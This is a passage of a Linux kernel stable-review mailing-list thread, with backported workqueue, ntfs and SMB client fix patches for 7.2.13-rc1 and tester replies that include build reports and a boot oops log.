Remove the pwq from pending_pwqs before putting the pool.
Fixes: 5797b1c18919 ("workqueue: Implement system-wide nr_active enforcement for unbound workqueues")
Cc: stable@vger.kernel.org
Signed-off-by: Yao Kai <yaokai34@huawei.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
[ sashal: Replaced `!is_percpu_pool(pool)` with the existing `wq->flags & WQ_UNBOUND` check because the helper is unavailable. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/workqueue.c | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -5229,12 +5229,6 @@ static void pwq_release_workfn(struct kt
mutex_unlock(&wq->mutex);
}
- if (wq->flags & WQ_UNBOUND) {
- mutex_lock(&wq_pool_mutex);
- put_unbound_pool(pool);
- mutex_unlock(&wq_pool_mutex);
- }
-
if (!list_empty(&pwq->pending_node)) {
struct wq_node_nr_active *nna =
wq_node_nr_active(pwq->wq, pwq->pool->node);
@@ -5244,6 +5238,12 @@ static void pwq_release_workfn(struct kt
raw_spin_unlock_irq(&nna->lock);
}
+ if (wq->flags & WQ_UNBOUND) {
+ mutex_lock(&wq_pool_mutex);
+ put_unbound_pool(pool);
+ mutex_unlock(&wq_pool_mutex);
+ }
+
kfree_rcu(pwq, rcu);
/*
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 237/242] ntfs: use pagecache_isize_extended() on size extension
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (233 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 236/242] workqueue: Fix unbound pool lifetime for pending pwqs Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 238/242] ntfs: take invalidate_lock in ntfs_setattr_size() Greg Kroah-Hartman
` (6 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Hyunchul Lee, Namjae Jeon,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Namjae Jeon <linkinjeon@kernel.org>
[ Upstream commit 5c32f0b8d791c3464d7b280859f312b006e08fab ]
When extending file size, call truncate_pagecache() first, then update
i_size, and use pagecache_isize_extended() instead of manual
iomap_zero_range(). This ensures the straddling folio is properly marked
RO so page_mkwrite() is called and post-EOF area is zeroed.
Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Stable-dep-of: 9cc5761b8f28 ("ntfs: take invalidate_lock in ntfs_setattr_size()")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/file.c | 28 ++++++++++------------------
1 file changed, 10 insertions(+), 18 deletions(-)
--- a/fs/ntfs/file.c
+++ b/fs/ntfs/file.c
@@ -269,23 +269,19 @@ static int ntfs_setattr_size(struct inod
return err;
inode_dio_wait(vi);
- truncate_setsize(vi, attr->ia_size);
+ if (attr->ia_size > old_size) {
+ truncate_pagecache(vi, old_size);
+ i_size_write(vi, attr->ia_size);
+ pagecache_isize_extended(vi, old_size, attr->ia_size);
+ } else
+ truncate_setsize(vi, attr->ia_size);
+
err = ntfs_truncate_vfs(vi, attr->ia_size, old_size);
if (err) {
i_size_write(vi, old_size);
return err;
}
- if (NInoNonResident(ni) && attr->ia_size > old_size &&
- old_size % PAGE_SIZE != 0) {
- loff_t len = min_t(loff_t,
- round_up(old_size, PAGE_SIZE) - old_size,
- attr->ia_size - old_size);
- err = iomap_zero_range(vi, old_size, len,
- NULL, &ntfs_seek_iomap_ops,
- &ntfs_iomap_folio_ops, NULL);
- }
-
return err;
}
@@ -1125,13 +1121,9 @@ out:
filemap_invalidate_unlock(vi->i_mapping);
if (!err) {
if (mode == 0 && NInoNonResident(ni) &&
- offset > old_size && old_size % PAGE_SIZE != 0) {
- loff_t len = min_t(loff_t,
- round_up(old_size, PAGE_SIZE) - old_size,
- offset - old_size);
- err = iomap_zero_range(vi, old_size, len, NULL,
- &ntfs_seek_iomap_ops,
- &ntfs_iomap_folio_ops, NULL);
+ offset > old_size) {
+ truncate_pagecache(vi, old_size);
+ pagecache_isize_extended(vi, old_size, offset);
}
NInoSetFileNameDirty(ni);
inode_set_mtime_to_ts(vi, inode_set_ctime_current(vi));
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 238/242] ntfs: take invalidate_lock in ntfs_setattr_size()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (234 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 237/242] ntfs: use pagecache_isize_extended() on size extension Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 239/242] ntfs: fix resident conversion in ntfs_new_attr_flags Greg Kroah-Hartman
` (5 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Hyunchul Lee, Baolin Liu,
Hongling Zeng, Namjae Jeon, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hongling Zeng <zenghongling@kylinos.cn>
[ Upstream commit 9cc5761b8f28f9cef72061094eb5e37e2cd44d97 ]
ntfs_setattr_size() updates i_size and resizes the on-disk attribute
without holding mapping->invalidate_lock. Page faults take the lock
shared, so a fault racing the resize can resolve a VCN against the
transient runlist state of ntfs_non_resident_attr_expand() and fail
with a spurious SIGBUS, and can interleave with the size-change
epilogue (truncate_pagecache(), i_size_write(),
pagecache_isize_extended()).
Take invalidate_lock exclusively around the whole resize after
inode_dio_wait(), matching the fallocate path and other filesystems
such as xfs, which wraps truncate in its mmaplock (= invalidate_lock).
Fixes: 9c87959601e8 ("ntfs: update file operations")
Cc: stable@vger.kernel.org
Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
Reviewed-by: Baolin Liu <liubaolin@kylinos.cn>
Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/file.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
--- a/fs/ntfs/file.c
+++ b/fs/ntfs/file.c
@@ -269,18 +269,25 @@ static int ntfs_setattr_size(struct inod
return err;
inode_dio_wait(vi);
+
+ /*
+ * Serialize with page faults and pagecache instantiation so that
+ * readers cannot observe the size change until the attribute
+ * updates below have completed.
+ */
+ filemap_invalidate_lock(vi->i_mapping);
if (attr->ia_size > old_size) {
truncate_pagecache(vi, old_size);
i_size_write(vi, attr->ia_size);
pagecache_isize_extended(vi, old_size, attr->ia_size);
- } else
+ } else {
truncate_setsize(vi, attr->ia_size);
+ }
err = ntfs_truncate_vfs(vi, attr->ia_size, old_size);
- if (err) {
+ if (err)
i_size_write(vi, old_size);
- return err;
- }
+ filemap_invalidate_unlock(vi->i_mapping);
return err;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 239/242] ntfs: fix resident conversion in ntfs_new_attr_flags
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (235 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 238/242] ntfs: take invalidate_lock in ntfs_setattr_size() Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 240/242] ntfs: move attribute payload before shrinking its record Greg Kroah-Hartman
` (4 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Hyunchul Lee, Namjae Jeon,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hyunchul Lee <hyc.lee@gmail.com>
[ Upstream commit 7ed0028126b5a19f278183abbae2b3166d3ca9ac ]
When setting sparse/compressed flags on a resident attribute, the
function skipped the resident-to-non-resident conversion and
terminated.
Signed-off-by: Hyunchul Lee <hyc.lee@gmail.com>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Stable-dep-of: acb1095fd2db ("ntfs: fix memmove overlap in ntfs_new_attr_flags")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/ea.c | 94 +++++++++++++++++++++++++++++++++++++++++++++--------------
1 file changed, 72 insertions(+), 22 deletions(-)
--- a/fs/ntfs/ea.c
+++ b/fs/ntfs/ea.c
@@ -630,6 +630,7 @@ static int ntfs_new_attr_flags(struct nt
struct mft_record *m;
struct attr_record *a;
__le16 new_aflags;
+ u16 old_name_ofs, old_mp_ofs;
int mp_size, mp_ofs, name_ofs, arec_size, err;
m = map_mft_record(ni);
@@ -662,8 +663,10 @@ static int ntfs_new_attr_flags(struct nt
else
new_aflags &= ~ATTR_IS_COMPRESSED;
- if (new_aflags == a->flags)
- return 0;
+ if (new_aflags == a->flags) {
+ err = 0;
+ goto err_out;
+ }
if ((new_aflags & (ATTR_IS_SPARSE | ATTR_IS_COMPRESSED)) ==
(ATTR_IS_SPARSE | ATTR_IS_COMPRESSED)) {
@@ -672,15 +675,40 @@ static int ntfs_new_attr_flags(struct nt
goto err_out;
}
- if (!a->non_resident)
- goto out;
+ if (!a->non_resident) {
+ if (!(new_aflags & (ATTR_IS_SPARSE | ATTR_IS_COMPRESSED)))
+ return 0;
+
+ if (le32_to_cpu(a->data.resident.value_length)) {
+ pr_err("Can't change sparse/compressed for non-empty file");
+ err = -EOPNOTSUPP;
+ goto err_out;
+ }
- if (a->data.non_resident.data_size) {
- pr_err("Can't change sparsed/compressed for non-empty file\n");
- err = -EOPNOTSUPP;
- goto err_out;
+ err = ntfs_attr_make_non_resident(ni, 0);
+ if (err)
+ goto err_out;
+
+ ntfs_attr_reinit_search_ctx(ctx);
+ err = ntfs_attr_lookup(ni->type, ni->name,
+ ni->name_len, CASE_SENSITIVE,
+ 0, NULL, 0, ctx);
+ if (err) {
+ err = -EINVAL;
+ goto err_out;
+ }
+ a = ctx->attr;
+ } else {
+ if (a->data.non_resident.data_size) {
+ pr_err("Can't change sparsed/compressed for non-empty file");
+ err = -EOPNOTSUPP;
+ goto err_out;
+ }
}
+ old_name_ofs = le16_to_cpu(a->name_offset);
+ old_mp_ofs = le16_to_cpu(a->data.non_resident.mapping_pairs_offset);
+
if (new_aflags & (ATTR_IS_SPARSE | ATTR_IS_COMPRESSED))
name_ofs = (offsetof(struct attr_record,
data.non_resident.compressed_size) +
@@ -703,6 +731,25 @@ static int ntfs_new_attr_flags(struct nt
if (unlikely(err))
goto err_out;
+ /*
+ * When compressed/sparse state changes, the non-resident header grows or
+ * shrinks by the compressed_size field. Update the in-record payload layout
+ * to match the new offsets before exposing the new mapping_pairs_offset.
+ */
+ if (name_ofs > old_name_ofs) {
+ if (mp_ofs != old_mp_ofs)
+ memmove((u8 *)a + mp_ofs, (u8 *)a + old_mp_ofs, mp_size);
+ if (a->name_length)
+ memmove((u8 *)a + name_ofs, (u8 *)a + old_name_ofs,
+ a->name_length * sizeof(__le16));
+ } else {
+ if (a->name_length && name_ofs != old_name_ofs)
+ memmove((u8 *)a + name_ofs, (u8 *)a + old_name_ofs,
+ a->name_length * sizeof(__le16));
+ if (mp_ofs != old_mp_ofs)
+ memmove((u8 *)a + mp_ofs, (u8 *)a + old_mp_ofs, mp_size);
+ }
+
if (new_aflags & (ATTR_IS_SPARSE | ATTR_IS_COMPRESSED)) {
a->data.non_resident.compression_unit = 0;
if (new_aflags & ATTR_IS_COMPRESSED || ni->vol->major_ver < 3)
@@ -723,28 +770,31 @@ static int ntfs_new_attr_flags(struct nt
ni->itype.compressed.block_size_bits = 0;
ni->itype.compressed.block_clusters = 0;
}
-
- if (new_aflags & ATTR_IS_SPARSE) {
- NInoSetSparse(ni);
- ni->flags |= FILE_ATTR_SPARSE_FILE;
- }
-
- if (new_aflags & ATTR_IS_COMPRESSED) {
- NInoSetCompressed(ni);
- ni->flags |= FILE_ATTR_COMPRESSED;
- }
} else {
- ni->flags &= ~(FILE_ATTR_SPARSE_FILE | FILE_ATTR_COMPRESSED);
a->data.non_resident.compression_unit = 0;
- NInoClearSparse(ni);
- NInoClearCompressed(ni);
}
a->name_offset = cpu_to_le16(name_ofs);
a->data.non_resident.mapping_pairs_offset = cpu_to_le16(mp_ofs);
-out:
a->flags = new_aflags;
+
+ if (new_aflags & ATTR_IS_SPARSE) {
+ NInoSetSparse(ni);
+ ni->flags |= FILE_ATTR_SPARSE_FILE;
+ } else {
+ NInoClearSparse(ni);
+ ni->flags &= ~FILE_ATTR_SPARSE_FILE;
+ }
+
+ if (new_aflags & ATTR_IS_COMPRESSED) {
+ NInoSetCompressed(ni);
+ ni->flags |= FILE_ATTR_COMPRESSED;
+ } else {
+ NInoClearCompressed(ni);
+ ni->flags &= ~FILE_ATTR_COMPRESSED;
+ }
+
mark_mft_record_dirty(ctx->ntfs_ino);
err_out:
if (ctx)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 240/242] ntfs: move attribute payload before shrinking its record
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (236 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 239/242] ntfs: fix resident conversion in ntfs_new_attr_flags Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 241/242] ntfs: fix memmove overlap in ntfs_new_attr_flags Greg Kroah-Hartman
` (3 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Hyunchul Lee, Namjae Jeon,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Namjae Jeon <linkinjeon@kernel.org>
[ Upstream commit 0ab6dc1ac4601c8d79e5448a024daed6b0c5ef64 ]
ntfs_new_attr_flags() resizes the non-resident attribute record before
moving its name and mapping pairs to their shorter-header offsets when
compression or sparse state is cleared.
Shrinking the record first moves the following attribute over the tail of
the old record. The subsequent memmove() therefore copies bytes from that
following attribute instead of the old mapping pairs. Re-enabling
compression on an empty file persists those bytes as a malformed mapping
pairs array, which ntfsck reports as a missing or invalid run length.
Move the payload before shrinking the record, while retaining the existing
resize-before-move ordering when growing it.
Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Stable-dep-of: acb1095fd2db ("ntfs: fix memmove overlap in ntfs_new_attr_flags")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/ea.c | 23 +++++++++++++++--------
1 file changed, 15 insertions(+), 8 deletions(-)
--- a/fs/ntfs/ea.c
+++ b/fs/ntfs/ea.c
@@ -631,7 +631,7 @@ static int ntfs_new_attr_flags(struct nt
struct attr_record *a;
__le16 new_aflags;
u16 old_name_ofs, old_mp_ofs;
- int mp_size, mp_ofs, name_ofs, arec_size, err;
+ int mp_size, mp_ofs, name_ofs, old_arec_size, arec_size, err;
m = map_mft_record(ni);
if (IS_ERR(m))
@@ -726,6 +726,19 @@ static int ntfs_new_attr_flags(struct nt
mp_ofs = (name_ofs + a->name_length * sizeof(__le16) + 7) & ~7;
arec_size = (mp_ofs + mp_size + 7) & ~7;
+ old_arec_size = le32_to_cpu(a->length);
+
+ /*
+ * Move payloads before shrinking the record. Otherwise resizing moves
+ * the following attribute over the old payload before it can be copied.
+ */
+ if (arec_size < old_arec_size) {
+ if (a->name_length && name_ofs != old_name_ofs)
+ memmove((u8 *)a + name_ofs, (u8 *)a + old_name_ofs,
+ a->name_length * sizeof(__le16));
+ if (mp_ofs != old_mp_ofs)
+ memmove((u8 *)a + mp_ofs, (u8 *)a + old_mp_ofs, mp_size);
+ }
err = ntfs_attr_record_resize(ctx->mrec, a, arec_size);
if (unlikely(err))
@@ -736,18 +749,12 @@ static int ntfs_new_attr_flags(struct nt
* shrinks by the compressed_size field. Update the in-record payload layout
* to match the new offsets before exposing the new mapping_pairs_offset.
*/
- if (name_ofs > old_name_ofs) {
+ if (arec_size > old_arec_size) {
if (mp_ofs != old_mp_ofs)
memmove((u8 *)a + mp_ofs, (u8 *)a + old_mp_ofs, mp_size);
if (a->name_length)
memmove((u8 *)a + name_ofs, (u8 *)a + old_name_ofs,
a->name_length * sizeof(__le16));
- } else {
- if (a->name_length && name_ofs != old_name_ofs)
- memmove((u8 *)a + name_ofs, (u8 *)a + old_name_ofs,
- a->name_length * sizeof(__le16));
- if (mp_ofs != old_mp_ofs)
- memmove((u8 *)a + mp_ofs, (u8 *)a + old_mp_ofs, mp_size);
}
if (new_aflags & (ATTR_IS_SPARSE | ATTR_IS_COMPRESSED)) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 241/242] ntfs: fix memmove overlap in ntfs_new_attr_flags
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (237 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 240/242] ntfs: move attribute payload before shrinking its record Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 242/242] smb: client: drain outstanding I/O before truncating on O_TRUNC open Greg Kroah-Hartman
` (2 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Hongling Zeng, Hyunchul Lee,
Namjae Jeon, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hongling Zeng <zenghongling@kylinos.cn>
[ Upstream commit acb1095fd2db884b417cb70808c886e4b615ff05 ]
When the record shrinks while the payload offsets increase (e.g., enabling
compression reduces padding, making arec_size < old_arec_size, but the header
grows by 8 bytes), moving the name first can overwrite the old mapping_pairs
before they are copied. Move mapping_pairs first in this case.
Since mp_ofs is derived from name_ofs, they always change in the same
direction. Checking name_ofs alone is sufficient.
Fixes: fc053f05ca28 ("ntfs: add reparse and ea operations")
Cc: stable@vger.kernel.org
Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/ea.c | 33 +++++++++++++++++++++++++++------
1 file changed, 27 insertions(+), 6 deletions(-)
--- a/fs/ntfs/ea.c
+++ b/fs/ntfs/ea.c
@@ -729,15 +729,36 @@ static int ntfs_new_attr_flags(struct nt
old_arec_size = le32_to_cpu(a->length);
/*
- * Move payloads before shrinking the record. Otherwise resizing moves
+ * Move payloads before shrinking the record. Otherwise resizing moves
* the following attribute over the old payload before it can be copied.
+ *
+ * When offsets increase, move mapping_pairs first to avoid name
+ * overwriting the start of mapping_pairs.
*/
if (arec_size < old_arec_size) {
- if (a->name_length && name_ofs != old_name_ofs)
- memmove((u8 *)a + name_ofs, (u8 *)a + old_name_ofs,
- a->name_length * sizeof(__le16));
- if (mp_ofs != old_mp_ofs)
- memmove((u8 *)a + mp_ofs, (u8 *)a + old_mp_ofs, mp_size);
+ if (name_ofs > old_name_ofs) {
+ /* Payload offsets increased: move mapping pairs first. */
+ if (mp_ofs != old_mp_ofs)
+ memmove((u8 *)a + mp_ofs,
+ (u8 *)a + old_mp_ofs,
+ mp_size);
+ if (a->name_length && name_ofs != old_name_ofs)
+ memmove((u8 *)a + name_ofs,
+ (u8 *)a + old_name_ofs,
+ a->name_length *
+ sizeof(__le16));
+ } else {
+ /* Payload offsets decreased or unchanged: move name first. */
+ if (a->name_length && name_ofs != old_name_ofs)
+ memmove((u8 *)a + name_ofs,
+ (u8 *)a + old_name_ofs,
+ a->name_length *
+ sizeof(__le16));
+ if (mp_ofs != old_mp_ofs)
+ memmove((u8 *)a + mp_ofs,
+ (u8 *)a + old_mp_ofs,
+ mp_size);
+ }
}
err = ntfs_attr_record_resize(ctx->mrec, a, arec_size);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 242/242] smb: client: drain outstanding I/O before truncating on O_TRUNC open
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (238 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 241/242] ntfs: fix memmove overlap in ntfs_new_attr_flags Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 20:44 ` [PATCH 7.2 000/242] 7.2.13-rc1 review Pavel Machek
2026-10-24 14:09 ` Miguel Ojeda
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Sorenson, David Howells,
Namjae Jeon, Paulo Alcantara, Christian Brauner, Matthew Wilcox,
Ronnie Sahlberg, Shyam Prasad N, Tom Talpey, Bharath SM
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paulo Alcantara <pc@manguebit.org>
commit 3581f843defa0bb30fd7da1e7dba170465e13a95 upstream.
cifs_do_truncate() flushes the pagecache with filemap_write_and_wait()
before resetting the file size to zero, but that does not wait for
direct/async I/O that was already in flight, which can complete after the
truncate and reinstate stale data past the new EOF.
Drain outstanding netfs I/O with netfs_wait_for_outstanding_io()
before resizing the file.
Reported-by: Frank Sorenson <sorenson@redhat.com>
Fixes: a8603b52b39f ("smb: client: fix data corruption with concurrent writes and O_TRUNC")
Reviewed-by: David Howells <dhowells@redhat.com>
Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Cc: Christian Brauner <brauner@kernel.org>
Cc: Matthew Wilcox <willy@infradead.org>
Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
Cc: Shyam Prasad N <sprasad@microsoft.com>
Cc: Tom Talpey <tom@talpey.com>
Cc: Bharath SM <bharathsm@microsoft.com>
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/file.c | 2 ++
1 file changed, 2 insertions(+)
--- a/fs/smb/client/file.c
+++ b/fs/smb/client/file.c
@@ -1012,6 +1012,8 @@ static int cifs_do_truncate(const unsign
}
mapping_set_error(inode->i_mapping, rc);
+ netfs_wait_for_outstanding_io(inode);
+
cfile = find_writable_file(cinode, FIND_FSUID_ONLY);
rc = cifs_file_flush(xid, inode, cfile);
if (!rc) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (192 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 193/193] smb: client: drain outstanding I/O before truncating on O_TRUNC open Greg Kroah-Hartman
@ 2026-10-23 19:52 ` Wentao Guan
2026-10-23 20:15 ` Nikola Ciprich
` (9 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Wentao Guan @ 2026-10-23 19:52 UTC (permalink / raw)
To: gregkh
Cc: achill, akpm, broonie, conor, f.fainelli, hargar, jonathanh,
linux-kernel, linux, lkft-triage, patches, patches, pavel,
rwarsow, shuah, sr, stable, sudipm.mukherjee, torvalds,
Wentao Guan
Build tested in our x86,arm64,loongarch,riscv config successfully without error.
Tested-by: Wentao Guan <guanwentao@uniontech.com>
Best Regards
Wentao Guan
Log:
Linux version 6.18.59-rc1-gbd77a04827b6 (guanwentao@uos-PC) (aarch64-linux-gnu-gcc-12 (Deepin 12.3.0-17deepin8) 12.3.0, GNU ld (GNU Binutils for Deepin) 2.41) #2 SMP PREEMPT_DYNAMIC Sat Oct 24 02:16:34 CST 2026
Linux version 6.18.59-rc1-gbd77a04827b6 (guanwentao@uos-PC) (loongarch64-linux-gnu-gcc-12 (Deepin 12.3.0-17deepin8) 12.3.0, GNU ld (GNU Binutils for Deepin) 2.41) #3 SMP PREEMPT_DYNAMIC Sat Oct 24 02:36:59 CST 2026
Linux version 6.18.59-rc1+ (guanwentao@uos-PC) (riscv64-linux-gnu-gcc-12 (Deepin 12.3.0-17deepin8) 12.3.0, GNU ld (GNU Binutils for Deepin) 2.41) #4 SMP PREEMPT Sat Oct 24 02:55:47 CST 2026
Linux version 6.18.59-rc1-gbd77a04827b6 (guanwentao@uos-PC) (gcc (Deepin 12.3.0-17deepin18) 12.3.0, GNU ld (GNU Binutils for Deepin) 2.41) #1 SMP PREEMPT_DYNAMIC Sat Oct 24 01:55:04 CST 2026
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (193 preceding siblings ...)
2026-10-23 19:52 ` [PATCH 6.18 000/193] 6.18.59-rc1 review Wentao Guan
@ 2026-10-23 20:15 ` Nikola Ciprich
2026-10-23 20:47 ` Pavel Machek
` (8 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Nikola Ciprich @ 2026-10-23 20:15 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: stable, patches, linux-kernel, torvalds, akpm, linux, shuah,
patches, lkft-triage, pavel, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr,
Nikola Ciprich
retested intel ice and also KVM migration of Windows guests with VBS enabled
(ie nested virtualization), both seem to work correctly now.
thanks,
BR
nik
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 7.2 000/242] 7.2.13-rc1 review
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (239 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 242/242] smb: client: drain outstanding I/O before truncating on O_TRUNC open Greg Kroah-Hartman
@ 2026-10-23 20:44 ` Pavel Machek
2026-10-23 21:34 ` Salvatore Bonaccorso
2026-10-24 14:09 ` Miguel Ojeda
241 siblings, 1 reply; 455+ messages in thread
From: Pavel Machek @ 2026-10-23 20:44 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: stable, patches, linux-kernel, torvalds, akpm, linux, shuah,
patches, lkft-triage, pavel, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr
[-- Attachment #1: Type: text/plain, Size: 45855 bytes --]
Hi!
> This is the start of the stable review cycle for the 7.2.13 release.
> There are 242 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
Either something went very wrong with our testing, or this fails on
all our targets. 6.18.59-rc1 does not seem to have those widespread
failures.
https://gitlab.com/cip-project/cip-testing/linux-stable-rc-ci/-/pipelines/2982452623
Example failure is:
I'll look some more to try to figure out what is going on there.
Best regards,
Pavel
[ 1.238864] Yama: becoming mindful.
L426[ 1.238864] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
L427[ 1.238864] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
L428[ 1.238864] VFS: Finished mounting rootfs on nullfs
L431[ 1.238864] BUG: kernel NULL pointer dereference, address: 000000000000002c
L436[ 1.238864] #PF: supervisor write access in kernel mode
L437[ 1.238864] #PF: error_code(0x0002) - not-present page
L438[ 1.238864] PGD 0 P4D 0
L441[ 1.238864] Oops: Oops: 0002 [#1] SMP PTI
L446[ 1.238864] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G S 7.2.13-rc1+ #1 PREEMPT(lazy)
L447[ 1.238864] Tainted: [S]=CPU_OUT_OF_SPEC
L448[ 1.238864] Hardware name: SIEMENS AG SIMATIC IPC227E/A5E42630598, BIOS V20.01.11 03/15/2018
L449[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
L450[ 1.238864] Code: 34 ff ba 00 02 00 00 31 f6 48 c7 c7 70 a2 e6 b2 e8 52 d3 28 ff 89 c3 e8 bb 2d 34 ff 89 df 48 c7 c6 80 db 85 b3 e8 9d d7 2b ff <81> 48 2c 00 00 00 04 65 8b 15 63 6e 45 01 48 89 c7 89 d0 c1 ea 06
L451[ 1.238864] RSP: 0000:ffffffffb3803ee0 EFLAGS: 00010246
L452[ 1.238864] RAX: 0000000000000000 RBX: 00000000ffffffea RCX: 0000000000000000
L453[ 1.238864] RDX: 0000000000000000 RSI: ffffffffffffffea RDI: ffffffffffffffea
L454[ 1.238864] RBP: ffff8cf23ffed080 R08: ffffffffb385db88 R09: ffffffffb385db80
L455[ 1.238864] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8cf23ffed0ab
L456[ 1.238864] R13: 0000000000000000 R14: ffffffffb380c040 R15: 00000000b43e8000
L457[ 1.238864] FS: 0000000000000000(0000) GS:ffff8cf287953000(0000) knlGS:0000000000000000
